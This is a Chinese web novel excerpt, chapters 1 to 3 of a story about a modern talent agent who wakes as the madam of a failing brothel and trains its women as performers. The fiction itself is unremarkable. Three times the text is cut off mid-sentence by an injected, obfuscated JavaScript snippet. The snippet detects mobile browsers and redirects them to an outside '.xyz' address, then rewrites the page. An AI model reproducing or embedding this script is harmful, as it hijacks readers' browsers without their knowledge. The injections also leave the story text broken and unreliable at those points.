《都说了我兄弟不行!》 1. 第 1 章 桃红柳绿三月天,秦淮河畔,韶光淑气,莺啼燕语,满眼尽是画意诗情。偏这逸秀楼内倒笼着愁云惨雾,连檐角铜铃都失了清音。 "这可怎生是好?" "嗳哟!方才是哪个促狭鬼推搡的?" "可不是我!" 众姑娘推诿一番,竟无一人上前搭把手,乃是一副事不关己高高挂起的姿态。 "还扯这些闲篇!快扶茴姑娘到椅上歪着,”一婉转女声急道,“着个腿脚伶俐的,速往杏林堂请个先生要紧。" "噫,春莺姐姐端的慈悲心肠!只这请大夫须得备下诊金,”另一温软女声缓缓开口,说的话却令人心寒,平白添了些尖刻意味: “如今逸秀楼树倒猢狲散的时节,账面上流水价的花销,姐妹们哪得余钱?姐姐若怜恤,何不自出银子全了这宗善缘?" 那唤作春莺的姑娘气息有些不稳,好半晌按下怒气:"这宗银钱我自垫上!人命大过天,诸位姐姐且搭把手罢。" 四下里登时响起此起彼伏的冷笑,檐下飞燕都惊得扑棱翅膀。 般茴就是在这样的环境中恢复意识的,她动了动眼眼珠,遂听见四下莺莺燕燕皆喊道: "嗳呀!眼珠儿动了!" 方才还冷漠的姑娘们见人苏醒,霎时慈眉善目起来:"茴姑娘可算还过魂来,真真是佛祖垂怜!身子可好些了?" 般茴只觉浑身作痛,勉强撑开黏着的眼帘,迎面便是七八张贴着鹅黄妆花的玉面。 身子实在不爽,她方囫囵点了点头,下一刻眼前几位漂亮姑娘就如变脸谱般换了颜色,数张朱唇启处,唾沫星子直溅: "作死的小蹄子!芸娘那老虔婆必是将我们的卖身契搁你身上了!" "快把契纸交出来!东家卷着细软遁了,倒留咱们在这火坑里熬油!今日若不将契纸交出来,仔细你这身皮!" 般茴听得是一头雾水,她不是刚在去公司的路上出车祸了吗?怎么来到了这个鬼地方? 正欲张口问询,般茴脑袋蓦地一阵刺痛,当下又昏死过去。 【宿主般茴绑定成功!造星系统竭诚为您服务!】 般茴此刻是灵魂离体状态,猛地听这电子音被吓了一跳,她看着地上那具被众人围作一团的少女身体,又看了一眼周遭。 作为娱乐圈的金牌经纪人,般茴没吃过猪肉自然见过猪跑。 面前颜色鲜亮的绸带飞舞,花团锦簇一般拥住整间大堂,梨花木矮几和颇具格调的绣竹蒲团坐垫玲珑有致,错落布置间不显凌乱,倒很是风雅。 大堂正中一片色泽图纹均十分大胆豪放的台子,如烟般飘渺的浅青色薄纱随风而动,悄然落于台子上,便有了些极乐无忧的氛围。 这分明是横店中类似青楼的场所! 呆了一瞬,般茴掐了一下自己胳膊。 ……不疼。 所以说,刚才自己听到的电子音是幻听?这是在做梦? 就在这时,电子音又响了起来: 【锵锵锵~不是幻听,您并非在做梦!您之前的身体已确认死亡,但您现在的身体只是昏了过去。】 般茴倏地瞪大双眼。 【宿主很幸运!绑定了我们造星系统,得以再续生命。您的任务就是在古代打造顶流明星,走上人生巅峰!】 【阶段性任务发布:阻止逸秀楼姑娘们跑路,请宿主尽快完成!任务奖励:现代舞台无限次打光!当前生命值30天,完成任务生命值+40天!】 般茴还没来得及说话,灵魂就被系统送回身体,偏那两只眼睛却似被水泥糊住,任是怎生使力也无法掀动。 没奈何只得暂收挣扎,所幸耳朵倒是听得清楚。 “怎还不差人请大夫啊!” 那春莺大声喊道,已是急得团团转。 另一温软女声闻言一笑,语气中不掩幸灾乐祸: “请什么大夫?芸娘掌事时尚且门庭冷落,如今倒要咱们指望个小丫头?待到来日钱财散净,咱们这些人不知是什么下场!" 语毕姑娘们也跟着应和,半数都是同意。 那春莺气得声线发抖,啐道: "好一帮狼心狗肺!荷芳,你自己说说,往日芸娘待你们何等宽厚?前脚咽气,后脚便作践起茴姑娘!我纵是饿死,也要守在茴姑娘身边!" 般茴静静听着,倒是理清楚了现下情况。 别人穿越穿成皇朝公主,名门贵女,再不济也是吃穿不愁,家世清白。而她倒好,直接穿成青楼老鸨,还是快要倒闭的青楼老鸨。 般茴心中火大,还有那劳什子造星系统,她一个金牌经纪人刚攒够钱裸辞跑路,没想到却在奔向理想生活的路上嗝屁了。 本以为上天垂怜让她穿越再活一世,却没想到还要在古代造明星!明摆着是让她穿越了仍改变不了社畜命运,还要累死累活为资本家,啊呸,封建地主打工! 般茴正想着,就听那荷芳又刻薄道: "偏你春莺是观音转世,倒衬得我们都成了恶人!众姊妹莫理这贱蹄子,那卖身契定藏在这丫头身上,此刻装什么晕倒?!" 姑娘们纷纷应和。荷芳见众人皆站在自己这边,语气难掩得意,竟将春莺一把推开,伙同姑娘们想要上前将般茴衣服扒了。 春莺被人制住,此刻大惊失色泣涕涟涟:“荷芳,你们、你们快住手!此番乃是要将茴茴往奈何桥上逼啊!” 般茴也是吓得魂飞魄散,奈何浑身不听使唤动不得分毫,感受到人的热气正向着自己靠拢,她心下暗骂系统不靠谱,同时急忙调动全身气力要睁开双眼。 就在众人犹豫地将手伸向般茴衣裳时,她终于瞪开了眼,扯着嗓子大叫一声:“且慢!” 众人吓了一跳,本能四散开来。 般茴立刻以迅雷不及掩耳之势从地上爬了起来,趁着众姑娘心虚之际抄起被遗忘在一旁桌子上的菜刀,拉开距离大声呵斥: “都不许走!” ……笑话,这逸秀楼要是散了,般茴更没办法完成任务。 要造明星,只有青楼姑娘敢答应。 试问:她跑到大街上拉住人良家子,莫名其妙说要培养人家当大明星,还让人家上台抛头露面演出,对方不把她当疯子才怪。 般茴于是面上更摆出一副凶狠模样。 然她高估了自己的威慑力,众姑娘有片刻被镇住,随即哄笑开来,边笑边道:“一个面黄肌瘦的豆芽菜,可真会说大话!” 般茴:……草率了。 原身身高堪堪过了一米六,浑身上下瘦瘦巴巴没二两肉,她还没从自己现代一米七二的御姐身份切换过来,见众姑娘眼神越发不善,忙能屈能伸将菜刀背在身后: “众姐姐莫急,我跟姐姐们说笑呢。” 说着,她咽了咽口水,讨巧一笑: “姐姐们要从我手中拿卖身契,但姐姐们可曾思量,即便得了契纸,离了逸秀楼,可有糊口的技艺傍身?若无本事,离了这锦绣丛又当如何自处?” 姑娘们一时有些沉默,她们皆为贱籍,幼年就被卖到青楼,学得都是些以色侍人的本事,哪有什么可傍身的手艺,当下皆垂头丧气起来。 般茴觑着姑娘们的神色,眼珠一转: “姐姐们怕是不知道,外面对我们这些贱籍女子十分轻视。就算去做工,也有身强力壮的男子,哪里轮得到我们?而若不去做工,你们可有亲戚能投奔?” 这话听着可谓杀人诛心,净朝姑娘们的痛点上死命戳,她们中的大多数都被家人所卖,哪里又会有什么靠谱亲戚! 般茴心中暗说几句罪过罪过,挤出几滴眼泪,声声泣血: “姐姐们俱是看着我长大的,我娘生前待你们如何姐姐们心中清楚,她一生坎坷仍心怀善心。为何姐姐们见我娘一死竟逼我一个孤女至此?” 大堂鸦雀无声,方才撺掇最厉害的荷芳见势不妙,忙假惺惺开口: “茴茴啊,姐姐们也都是没有办法。如今你娘死了,东家也跑了,逸秀楼没落至此,若仍跟着你我们恐会饿死啊。” 见姑娘们眼中又起了挣扎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178862|180857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,荷芳掩唇一笑,煞有介事言自己和醉香楼鸨母有些交情,到时可将她们介绍过去。 姑娘们闻言眼前一亮,荷芳笑意渐深:“茴茴啊,姐姐们也是没办法,毕竟人为财死鸟为食亡。” 般茴看向面前容色姣好的女子。女子脸型偏尖,眉眼上挑,虽是好颜色,看着却不好相与。她遂挑了挑眉,嘴上很不客气: “怪不得我娘在世时你就同我娘不对付,感情是已找好了下家!我呸,还说什么和醉香楼老鸨有几分交情,我看是和那儿的龟公有一腿吧。” 荷芳涨红了脸:“你含血喷人!” 般茴嗤笑一声,凭着脑海中记忆对着她就是一通连珠炮似的狂轰乱炸: “醉香楼是何等风光,楼内美人个个姿容绝世,琴棋书画样样精通,说是第一青楼都不为过。你荷芳居然扬言会将姐姐们全举荐到醉香楼,是何居心你自己清楚!” 众人在听到般茴说荷芳同醉香楼龟公有一腿时就面露嫌弃,如今经般茴一说面色难看起来,这荷芳十有八九是要将她们买到人牙子手中! 如今大雍朝虽物产丰饶,版图辽阔,百姓安居乐业,经济非常繁荣,但人口却不甚发达,故而人口贩卖十分猖獗,特别是对手无缚鸡之力的女子而言,更是凶险。 荷芳没有想到自己奸计被当场拆穿,更没想到她竟知自己和龟公有一腿,嘴硬道:“你们这群不识好歹的贱蹄子,烂在这里算了!” 众人闻言皆欲怒骂,不料般茴却微微一笑:“荷芳,若我没记错,你是因我娘在搭救才入的逸秀楼吧?” “是,是又怎样?”荷芳自觉气势矮了这小丫头片子一头,立刻挺了挺胸脯,色厉内荏反问。 “没怎样,只是感慨我娘当年太善良,怎救下你这等忘恩负义猪狗不如的东西?果然畜牲也分三六九等!” 荷芳被这话臊得面皮通红,浑身气得发抖,拿一根玉指颤颤巍巍指着她,口中“你你”说不出下文。 其他姑娘们见此笑将开来,那荷芳原地跺了跺脚,一狠心推开旁人,最后灰头土脸地溜之大吉。 般茴没分半点眼神给她,众姑娘心中暗暗吃惊,都没想到往日唯唯诺诺的般茴竟这般泼辣,一时皆有些难堪起来,毕竟开始时自己和荷芳怀着一样的心思。 般茴知道她们的心中想法,巧笑嫣然悠悠道: “茴茴心直口快,若是有冒犯之处,我向姐姐们赔个不是。” 她随意行了个礼,眼睛晶亮晶亮,语气颇为自信:“我跟姐姐们说明白些,姐姐们也权当给茴茴一个机会——虽然咱们如今不景气,但姐姐们只要跟着我,我绝不会让姐姐们再卖身!” 话音刚落,姑娘们的眼睛齐刷刷看向般茴,眼见着这个面黄肌瘦的小丫头接着道: “若五年后未将逸秀楼做大做强,未让姐姐们过上受人追捧的日子,我必会砸锅卖铁安置好诸位姐姐,若违此誓,定让我般茴天打雷劈不得好死!” 姑娘们皆被镇住,一时失了言语。 般茴顿了顿,很是诚恳道:“话已说到这个份上,姐姐们若仍有要走的,尽管来我这里将卖身契拿走,自此你们和逸秀楼再无瓜葛。” 四成的姑娘闻言默默出列,从般茴手中拿走卖身契,出了逸秀楼。 般茴目送那些姑娘们离开,随即看向留下来的姑娘。 她们俱是十四五岁花一般的年纪,清秀的脸上尚有泪痕,眼中尽是疲惫和彷徨。 对于这群姑娘而言,逸秀楼对她们自然不是好选择。若是生活允许,哪个姑娘愿意出卖色相,做皮肉生意?但若离开逸秀楼,她们只会更活不下去。 她们并不相信般茴所说不让她们卖身的言论,毕竟就算是号称天下第一青楼的醉香楼,也不敢这样保证。 而且说这话的般茴还没她们大,茕茕孑立,身影单薄,姑娘们只当听了个笑话,左耳朵进右耳朵出,并未放在心上。 但看着般茴亮若繁星的眸子,姑娘们心中鬼使神差升腾起一线希望。 也许,她们可以相信她。 2. 第 2 章 方才为般茴说话的春莺早在她发毒誓时就哭了起来,此时更是三步并两步走到般茴身边,一把将她揽入怀中,哭着念叨:“芸娘去的突然,茴茴你受苦了,受苦了……” 般茴心中闷闷,看着面前哭得梨花带雨满眼心疼的春莺,方才强压下来的原主情绪和记忆雪崩一般将她淹没,眼眶一下就红了起来: “春莺姐姐……” 春莺口中的芸娘,就是原主的娘亲。 原主娘亲芸娘本是醉香楼中姑娘,虽身在贱籍,年轻时却生得一副沉鱼落雁闭月羞花般的颜色,诗词歌赋样样精通,几度蝉联江南花魁榜首,甚至连当时的皇帝都扬言要下江南一睹其芳容。 然好景不长,芸娘出尽风头自然遭嫉恨,被人划花了脸,自此风光不再—— 毕竟男人都是视觉动物,他们嘴上说如何如何喜欢芸娘的才华,却在见芸娘脸上丑陋的疤痕后果断离去。 没过多久,芸娘就被醉香楼赶了出来,从天堂跌到地狱,所幸有一村夫常默默救济她。 村夫身材高大,勤劳能干也很老实,芸娘略一沉吟,便嫁与他为妻,男人对她极好,婚后过了一年安生日子,大雍同北戎的战争就打响了。 男人告诉她,只要打赢这最后一场仗,大雍就彻底统一了。芸娘同意,却没想到男人刚上前线,她就查出了已怀有两个月的身孕。 怀的孩子就是般茴。般茴这个名字很有讲究,音与“盼回”很是类似。 但老天爷似乎见不得这个苦命的女子过上好日子。 大雍和北戎的胜利大获全胜后,大军班师回朝,军部下发的殉国名单里,就有男人的名字。 芸娘心如死灰,她本欲寻短见,小般茴那时不过一岁,瞪着双圆溜溜的眼睛脆生生“娘亲娘亲”地叫唤。 她崩溃大哭,自此断了轻生的念头,咬牙再入风尘,做起了逸秀楼的老鸨,若不然她们娘俩早就被饿死了。 芸娘深知楼中女子的不幸,故而总心怀善意,对楼内姑娘宽和柔软,好些姑娘都是芸娘收留下来的,春莺就是其中之一。 当年她被父母遗弃,饥肠辘辘流落街头,大雪纷纷的天差点被冻死,是芸娘将她带回逸秀楼吃了饱饭,盖了暖和的棉被,她那时就立誓要好好报答芸娘。 春莺抹了抹泪,看着面前小姑娘哭得有些红肿的眼睛,心中酸涩。往日里小姑娘有些呆呆傻傻唯唯诺诺,如今芸娘一死,她倒是好了起来。 想来若是芸娘在天之灵,也能暂且放下心来。 般茴被原主情绪弄得有些头晕,好半天才缓了过来,她定了定神,随即挑了几个唱功弹曲儿和跳舞厉害的姑娘,便让其余姑娘先去歇息了。 被挑出来的姑娘心中不知为何竟都有些忐忑,明明般茴什么都没做,只是看着她们,姑娘们都觉得万分紧张。 般茴细细看过面前的几位姑娘,皆环肥燕瘦各有风致,脸上虽有小小的瑕疵,却也为她们添了些特色。 唯一美中不足的就是,姑娘们面色灰败,含胸贴背,美貌自然大打折扣。 要做偶像,若是唯唯诺诺自信不足,自己都不信旁人会被自己吸引,又怎能收获粉丝的青睐? 不过不急,般茴有时间也有耐心来培养这群明日之星们,她将几位吹拉弹唱厉害的任命为声乐组长,几位舞蹈厉害的任命为舞蹈组长。 一通打鸡血画大饼下来,姑娘们早被般茴哄得找不着北,双眼发光,只恨一天不能掰作两天用。 般茴:“我们的口号是——” 姑娘们:“风靡大雍!” 般茴:“接下来怎么做——” 姑娘们:“努力训练!成功出道!” 般茴满意地点了点头,深觉MVP不过如此。 姑娘们各自回房后,她从春莺那边又了解了一下目前逸秀楼的情况。 春莺虽然只是楼内妓子,但相比于原主懵懵懂懂对楼内事物丝毫不知,还是要好得多。 逸秀楼不过是个私营青楼,规模很小,背后东家是个商人,去岁做生意赔了好些钱,害怕被人讨债,今年开春就开始清点产业,趁芸娘不在就将楼内钱款卷走,带着老婆孩子跑路了。 原主娘亲芸娘回来时,从账房先生那里得到了这消息,登时急火攻心一命呜呼。 东家跑路,老鸨母死了,逸秀楼还被债主盯上,时不时几个黑壮大汉来催她们还款,还不上就在楼内打杂抢一番。 楼内姑娘心中跟明镜似的,见此情形,有些机灵的早就从原主哄得卖身契,跳槽去旁的青楼了;打杂伙计,伺候姑娘们的丫鬟,甚至连看门的小厮安保也闻风而动,一溜烟跑没影了。 春莺:“讨债的人每月十五和月底都会来一趟,今儿已经十二了。” 般茴听完,有些悚然,很是头疼。 没有钱,没人脉,还欠债,这简直是地狱开局啊! 春莺见她这般,心中凄凉,但仍温声安慰她。如今芸娘死了,她就更应该照顾恩人芸娘唯一的孩子般茴。 芸娘生前最放心不下的就是茴姑娘,经常拉着她闲话家常,说自己撒手人寰后,茴姑娘这般温吞木讷的性子该如何是好,她一个人在世上孤苦无依,还要挑起逸秀楼这个吃人的怪物。 春莺每每想到这,几乎又要落泪,又怕被般茴看到难过,就借口有事拿衣袖掩住大半张脸退了出去。 般茴心中也不好受,她强打起精神,循着原主记忆在芸娘屋内翻找起来,翻来翻去还真让她翻出了些银子。 银子放在个描金小匣里,上面刻着几个字:茴茴嫁妆。 般茴心中五味杂陈起来,细数了数,共五十两,想来都是芸娘这几年辛辛苦苦攒的,本想看着原主成家立业生儿育女,却没想到出了这档苦事。 她正愣神之际,就听到系统放烟花的提示音响起: 【叮!恭喜宿主任务完成!获得4积分,无限次现代舞台打光已送至宿主背包,请注意查收!】 【新任务发布,请在三个月内至少培养出一位三线明星!三线明星数据参考:风靡云都,达到老少皆知成就!任务奖励:现代化妆品做法!】 般茴盯着任务奖励那栏,眼睛有些发直。化妆品早有东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178863|180857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亚邪术之称,功能之强大令人叹为观止,网上有些美妆博主化完妆后甚至被人戏称“换了个头”。 若是有了现代的化妆品做法,逸秀楼内姑娘们的容貌便不用担心了,且她完全可以和脂粉斋的老板合作,即使不打着偶像同款周边的名义,到时候也定会赚的盆满钵满。 毕竟现代化妆品行业可是暴利,每一女性人手一套化妆品,销路极广。而且相较于古代化妆品动不动就用水银和铅,现代化妆品的毒性更小,效果也更好。 况大雍朝自十几年前一统后实行休养生息政策,本因战乱空虚的国库也逐渐充盈起来,经济空前繁荣,百姓们的购买力也挺不错。 翌日。 般茴早早起床,胡乱套上粗布麻衫,带上银子,交代了春莺今日姑娘们的训练任务,就在对方欲言又止的目光中急匆匆出了门。 第一站乃是罗裳坊。 时间紧迫,要是按照她原来的想法,让绣娘们按着图纸定制衣服,先不说价钱要贵出几倍,单就说这工期,至少也要半个月之后。 到时候别说还债,只怕是逸秀楼先倒了。因此般茴只能退而求其次,先挑选成衣,等到自己接下来这场选秀出道大会办起来以后,再把服化道的水平提高起来。 般茴目光逡巡着,手中已经拿下了好些流光溢彩的衣裳,正发愁着几位花魁该穿些什么,突然她眼前一亮。 只见不远处碧霞绣彩桃花裙、绯色绫锦海棠衣、金绣仙鹤莲花裙竟连在一处,皆适合此次选秀出道大会的主题。 她当即上前毫不犹豫取下,向身后老板娘问道: “好姐姐,这几件衣服怎么卖啊?” 老板娘笑眯眯:“茴茴真是好眼光,这几件俱是一样的价,一件八贯钱。” 般茴瞳孔一缩,差点没把三件衣裳丢出去,她好一会儿才找回自己的声音,颤颤巍巍道:“八贯钱?!那可是八两银子!” “唉呀茴茴,”老板娘瞥了她一眼,涂着大红豆蔻的指甲拂过衣料,“你娘也算是姐姐这里的常客,你看咱们这衣服的面料,可皆是彩华锦的!” 般茴汗颜,撒娇哀求道:“好姐姐,这样吧,我手中其余的衣服你不用给我减钱,但这三件,五两一件!要是可以,我立刻买下来,怎么样?” 此话刚落,老板娘面容一板,劈头就将她手上的三件衣裳夺了过来,冷哼一声: “你这丫头想的倒挺美,一件省三两银子,三件就是九两银子!不成!你去别家吧!” 般茴眼珠子一转,赔笑道: “好姐姐莫诓我,彩华锦去年就供不应求了,怎可能还能供不应求到今日?更何况姐姐这般极聪慧的人物,要是这彩华锦仍供不应求,为何将其摆在这般犄角旮旯的位置?” “姐姐说这彩华锦只姐姐罗裳坊一家还有,实不相瞒我刚去绣烟阁看了一圈,人家那儿的彩华锦可都在降价销售,满屋都是图便宜要买的人。” 老板娘面色有一瞬间的僵硬,到底做了多年生意是个人精,她压下心中情绪,不动声色:“那赶巧,你去绣烟阁满不就得了?” 3. 第 3 章 般茴却是讨巧一笑: “好姐姐这是说的哪里话,这钱总还是要让自家人赚好呀!我娘在世的时候就跟我说,以后姑娘们的衣裳全在罗裳坊买,说是姐姐你昔日对她照拂有加。” “我娘昔日也无甚姐妹,她几次说要拜您为义姐,但皆因楼中事务繁忙就此作罢,如今……竟是已没了机会。” 说着般茴落下泪来,老板娘见此也是心有戚戚,面色软了下来,般茴于是接着卖惨: “好姐姐怕是不知道,我差点被楼中妓子们逼死了呜呜呜……” 老板娘吃了一惊,连忙问出了何事,般茴就将昨日之事添油加醋地告诉了她。 “……娘亲死后,楼中妓子皆不服我,成日对我吆五喝六,哪里有半分老鸨的样子,我这以后还怎么活啊?” 老板娘唏嘘不已,感慨道:“丫头啊,你也别叫我姐姐了,你娘要认我做姐姐,你再叫我姐姐,这不乱了辈分了吗?叫我花姨吧。” 说罢,花姨将手中衣裳塞到般茴手里,一咬牙道:“这衣服你先拿着救急用,等日后有钱了,到时候按五两银子一件还我就是。” 般茴心下一喜,面上却是一派惶恐神色,连连推脱坚决要给钱。花姨态度也是坚决,直接将她推出了罗裳坊。 般茴心中已是乐开了花,压制住疯狂上翘的嘴角,假模假样地在门口逡巡一阵,这才慢悠悠走了。 接下来她去云都有名的脂粉店玉妆阁也是如法炮制,上下嘴皮子一碰,几句话就让玉妆阁出了名的人精——老板宋娘子,没了辙儿。 宋娘子也是个厉害人物,年轻时丈夫因战乱客死他乡,留下一对孤儿寡母。那时年纪尚轻的宋娘子咬了咬牙,倾家荡产包下这间铺面,不过三年时间就成了云都中最有名的一家,这些年却有了疲软之势。 她看着面前瘦瘦小小的姑娘,心中暗自惊叹,小姑娘虽人小,脑子却活泛,嘴也甜,说话做事极有章法。 宋娘子也听说了逸秀楼的事情,对于芸娘的死很是唏嘘,前几日隐约听人谈起逸秀楼的人都跑路了,只余个芸娘的女儿在那死撑。 没成想今日就见到了芸娘的女儿,小丫头年纪轻,说话却很有艺术,砍价砍得宋娘子一点不生气,甚至怜惜起了她。 宋娘子有预感,或许这逸秀楼,会在这丫头的手中起死回生。 她转而想到小丫头悲惨的身世,又联想到自己叛逆不懂事的女儿,顿时有些恨铁不成钢。 宋娘子边将各色脂粉妆面打包起来,边向般茴吐苦水:“真是同人不同命,我家嫣娘要是有茴茴你一半懂事,老身也不至于一把年纪了还在做活。” 般茴笑着接过脂粉妆面,闻言看向宋娘子风韵犹存的面庞,打趣道:“娘子哪里的话!您瞧着就像是个二八少女,风华正茂的年纪,何苦说这般话!” “我自小就羡慕嫣娘,嫣娘娇俏可爱,玉雪团子般的容貌,又有您这般好的娘亲,过的可是官家千金的日子。” 听!人家这说的多中听! 宋娘子听得浑身舒坦,直接脱口而出:“赶明茴茴要再有困难,直接来找我!别跟我客气。” 宋娘子是个爽快人,般茴自然爽快应下,在对方热情的目光中踏出了玉妆阁。 眼下一切顺利,倒衬得般茴昨夜的辗转反侧有些杞人忧天的意味,她嘴角不自觉勾起,从袖中掏出一早找活字印刷社印刷的传单。 大雍乃是架空的朝代,大体上相当于般茴认知里的宋代,只不过更加强盛就是,此时活字印刷已经取代雕版印刷,却尚没有广告的出现。 般茴目光落在一旁的小乞丐身上,视线对上,她朝对方招了招手: “哎,小孩儿,对对就你!过来过来!” 小乞丐不明所以,迟疑地问她:“姐姐有什么事吗?” 般茴和善一笑,让他去多找些孩子过来,帮自己派发东西,并说事成之后给他们每人一百文钱。 小乞丐喜上眉梢,即刻飞奔出去,不多时叫来了一堆孩子。 般茴将传单分发出去,又向他们解释了一番“传单”为何物,幸而这群小乞丐虽不识字,脑瓜倒是灵光,一下就知道了般茴的意思。 “……发给路人时要有点眼色,最好是发给那些达官贵人或者家里小富的那些人,男女都可以发。” “发给男人就说让他们来看醉香楼花魁咏霜,发给女人就说咏霜会传授独家妆面画法和服饰搭配的巧思。” 小孩儿们眼前一亮,谁人不知花魁咏霜的大名,很是十分兴奋道:“姐姐是醉香楼的人吗?” 般茴有些无奈地否认,连说几遍逸秀楼,又从口袋中拿出银钱,一一发给他们:“来,一人一百文钱。若是做得好了,下次我还找你们,到时候就一人二百文钱!” 小乞丐们一时皆斗志昂扬,齐声说“姐姐放心”,随后四散开来。 “宿主,你这样会有效果吗?”许久未说话的系统冷不丁质疑问。 “效果总归是有的,不过大不大,就全看这群孩子们的嘴了。” 般茴抬脚走到王二娘包子铺旁边排起了队,懒懒道:“接下来才是今日的重头戏呢。” “你接下来要去干嘛?” 般茴翻了个白眼:“你宿主我今日天没亮就急急出来买衣裳首饰,这都要午时了,一口饭都没吃,现在自然是要吃饭了。” 系统翻了个同款白眼:“这就是你说的重头戏?” “问这么多干嘛?睡你的觉去!” 系统愤而下线。 终于排到般茴,她一口气要了两笼小笼包外加一杯豆浆,边走边吃了起来。 古代的小笼包自不必说,王二娘家包子乃是云都一绝,皮薄馅大,一咬下去汁水四溅,冲撞在口腔中,让人食欲大开。 豆浆口感绵密,不似现代用豆浆粉勾兑的豆浆,入口一瞬纯郁的豆香直冲天灵盖,感觉浑身毛孔都被抚慰一番。 般茴好吃得眯了眯眼,一脸满足。 正享受美食之际,前方却围了一大堆人挡住般茴去路,她蹙了蹙眉,本不想凑这个热闹,听到少女凄惨的话语终是止住了脚步。 “诸位好心人,小女家道中落一贫如洗,只与老父相依为命。现下老父染疾一命呜呼,小女愿卖身葬父,只求好心人给一副薄棺将老父下葬,小女愿当牛做马还您恩情!” 围观之人越聚越多,大多都是高高挂起的态度,本以为卖身葬父怎么也要是个绝色佳人,再不济总要小家碧玉。 然少女一脸泥土,头发凌乱,着一身浆洗得有些褪色的粗布衣裳,身旁只用一卷草席卷住老父尸体,已然有了几分尸臭,哪里有半分颜色可言,一时间又兴致缺缺地各自散去。 最后只余般茴一人。 少女抬头,一双疲惫的眼睛中尽是泪水,就这么面含哀求地看着她。 般茴这人乃是十足的刀子嘴豆腐心,被这双纯净可怜的眼睛看着,心下顿时不甚爽利。 她下意识摸了摸自己口袋,兜中还剩四贯钱。当下上前扶起少女,从口袋中拿出三贯钱给了那姑娘,低声宽慰道:“快起来吧,这些钱应当够你买个棺材了。” 少女一时大哭起来,口中不住说着感激的话语:“谢过恩人……逢黛的命、命就是恩人给的,日后定当竭尽心力服侍恩人。” 般茴闻言微微一笑:“不瞒姑娘,我不过一个落魄青楼的老鸨,身在贱籍,哪里是需要人服侍的命?我不用姑娘报恩,姑娘要珍惜自己的自由身啊。” 少女闻言呆了一瞬,般茴摇了摇头作势要走,少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178864|180857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女一下拉住了她,哭道: “恩人何苦这样说,我家道中落后也成了贱籍女子,本孤高自傲,现在想来何其愚蠢,就让我跟着恩人吧,哪怕在楼中为妓我也是愿意的。” 般茴又是摇头,并不答应,但少女十分犟,非要她说出是哪家青楼。 般茴无奈:“……逸秀楼,淮水南岸的逸秀楼。我有些急事就先走了。” 少女这才止住哭声,一叠声说安葬完父亲就立刻去寻她。 般茴无奈点头,火急火燎抬脚离开。 她忙活一阵,又去了趟劳工市场,花四两银子盘下几个身强力壮的劳工,负责逸秀楼的安保工作,这才慢悠悠回去了。 彼时已是申时,也就是下午三点多钟,刚到逸秀楼楼下,般茴就听到春莺颇为无奈的声音: “姑娘们快打起精神来!选秀出道大选在即,不快些训练我们怎打翻身仗?” 无人理她,也只有昨日般茴任命的几个小组长一直在认真训练。 般茴在心中叹了口气。 如今逸秀楼门庭冷落,虽昨日和姑娘们说了一通,当下可能有些作用,但待她们回过味来,就会意识到逸秀楼令人唏嘘的现状。 正想着,她回身看着身后的几个彪形大汉,想了想朝他们手中又塞了些碎银,同几人耳语一番,随即大摇大摆地上了楼。 楼内正在同春莺叫板的一群姑娘听到般茴的声音,自然知道她回来了。 考虑到这丫头昨日整治荷芳的手段,众姑娘有些不寒而栗,赶忙站了起来,假模假样地动了动肢体,又嚎了两嗓子。 这架势倒是把春莺气得要够呛,她不欲再管她们,扭头出去迎接般茴。 赶巧般茴正走到训练室门口。训练室是春莺昨日一宿没睡收拾出来的,屋内干净空旷,很适合练习。 般茴一眼就看到了训练室里百无聊赖东倒西歪的姑娘们,她朝身后几个大汉使个眼色,那几个大汉立刻会意,挤进屋内。 屋内姑娘们见他们进来时吓了一跳,惊惧不已,尖叫声还没来得及发出,就见般茴从外间笑着进来,她指点江山一般让大汉们列好队伍,自己才施施然进来。 “姑娘们今日练的如何?” 姑娘们沉默着没说话,春莺倒是从彪形大汉的震慑中缓过神来,先凑到般茴面前问询一番大汉来历,得知答案后才放心敞开嗓音,唱了个黑脸道: “茴茴,这些人根本不配合咱们训练,何不将她们赶出去!” 姑娘们闻言齐刷刷抬起头来,不安地看着般茴,后者向前走了一步,无奈摇头,看向她们: “姐姐们,选秀出道全是我为了打响咱们逸秀楼的知名度,更是为了给各位姐姐们造势。眼下我们逸秀楼已落入泥沼,像这般破罐子破摔我们何不趁早散了,还在这蹉跎个什么劲儿?” “后面的日子只会越来越艰难,训练也会越来越繁重,丑话说在前头,受不了苦的可以趁早走人,我会将卖身契还与你们。” 般茴顿了顿,安抚地看向一脸忧色的春莺,示意她稍安勿躁,这才继续道:“但我相信身为一个妓子,心中总想成为花魁,想成为咏霜,想受天下人追捧尊敬,想享荣华富贵。” 